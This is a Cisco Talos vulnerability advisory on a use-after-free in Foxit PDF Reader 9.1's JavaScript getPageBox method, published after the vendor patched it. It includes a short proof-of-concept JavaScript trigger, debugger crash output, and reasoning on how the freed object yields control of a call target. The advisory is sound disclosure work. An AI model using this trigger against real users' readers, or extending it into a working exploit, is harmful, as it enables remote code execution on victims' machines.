Talos Vulnerability Report

TALOS-2018-0610

Foxit PDF Reader JavaScript getPageBox remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3943

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use-after-free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a large user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the getPageBox method of the active document with a crafted object as argument, which can trigger a use-after-free condition, like in the following code:

function main() {

var a = {};
a.toString = f;
app.activeDocs[0].getPageBox({},a);

}

function f() {
app.activeDocs[0].closeDoc();
}
main();

In the above code, we create an object a and overload its toString method to be f. Then, when getPageBox is invoked, toString of the second argument is called, effectively closing the document and freeing a number of objects. When getPageBox continues execution, it reuses a stale reference of a freed object causing a crash.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(173c.414): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=80000000 ebx=120ffef0 ecx=0fdfeda8 edx=00000056 esi=0028e4f0 edi=80000000
eip=016738b3 esp=0028e430 ebp=0028e470 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
FoxitReader!CryptVerifyMessageSignature+0x6c003:
016738b3 8b11            mov     edx,dword ptr [ecx]  ds:0023:0fdfeda8=????????
0:000> !heap -p -a ecx
    address 0fdfeda8 found in
    _DPH_HEAP_ROOT @ 7581000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    fe31c30:          fdfe000             2000
    6a6290b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    774969cc ntdll!RtlDebugFreeHeap+0x0000002f
    77459e07 ntdll!RtlpFreeHeap+0x0000005d
    774263a6 ntdll!RtlFreeHeap+0x00000142
    7565c614 kernel32!HeapFree+0x00000014
    02aadf1b FoxitReader!CryptVerifyMessageSignature+0x014a666b
    00fa08bf FoxitReader+0x000d08bf
    00fa28a8 FoxitReader+0x000d28a8
    010e965e FoxitReader+0x0021965e
    010e942b FoxitReader+0x0021942b
    010f842a FoxitReader+0x0022842a
    010e2fd7 FoxitReader+0x00212fd7
    010e2df8 FoxitReader+0x00212df8
    029051ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    029090ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    0290917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    010e09f5 FoxitReader+0x002109f5
    0290ae65 FoxitReader!CryptVerifyMessageSignature+0x013035b5
    029051ec FoxitReader!CryptVerifyMessageSignature+0x012fd93c
    029090ef FoxitReader!CryptVerifyMessageSignature+0x0130183f
    0290917e FoxitReader!CryptVerifyMessageSignature+0x013018ce
    7724c4b7 USER32!InternalCallWinProc+0x00000023
    7724c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    77245264 USER32!SendMessageWorker+0x000004d0
    77245552 USER32!SendMessageW+0x0000007c
    0100bee7 FoxitReader+0x0013bee7
    0167373e FoxitReader!CryptVerifyMessageSignature+0x0006be8e
    016819e9 FoxitReader!CryptVerifyMessageSignature+0x0007a139


0:000> u
FoxitReader!CryptVerifyMessageSignature+0x6c003:
016738b3 8b11            mov     edx,dword ptr [ecx]
016738b5 8b4218          mov     eax,dword ptr [edx+18h]
016738b8 ffd0            call    eax
016738ba 3bf8            cmp     edi,eax
016738bc 7e25            jle     FoxitReader!CryptVerifyMessageSignature+0x6c033 (016738e3)
016738be c745fcffffffff  mov     dword ptr [ebp-4],0FFFFFFFFh
016738c5 8d4dec          lea     ecx,[ebp-14h]
016738c8 e8357eac00      call    FoxitReader!CryptVerifyMessageSignature+0xb33e52 (0213b702)
0:000> k
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0028e470 01682529 FoxitReader!CryptVerifyMessageSignature+0x6c003
01 0028e4cc 01251578 FoxitReader!CryptVerifyMessageSignature+0x7ac79
02 0028e514 02759b2e FoxitReader+0x381578
03 0028e548 02751946 FoxitReader!CryptVerifyMessageSignature+0x115227e
04 0028e5b0 02753cf3 FoxitReader!CryptVerifyMessageSignature+0x114a096

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see edx being used as a vtable pointer, ultimately leading to call instruction with controllable operand in eax. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straightforward conditions for arbitrary code execution.

Timeline

2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.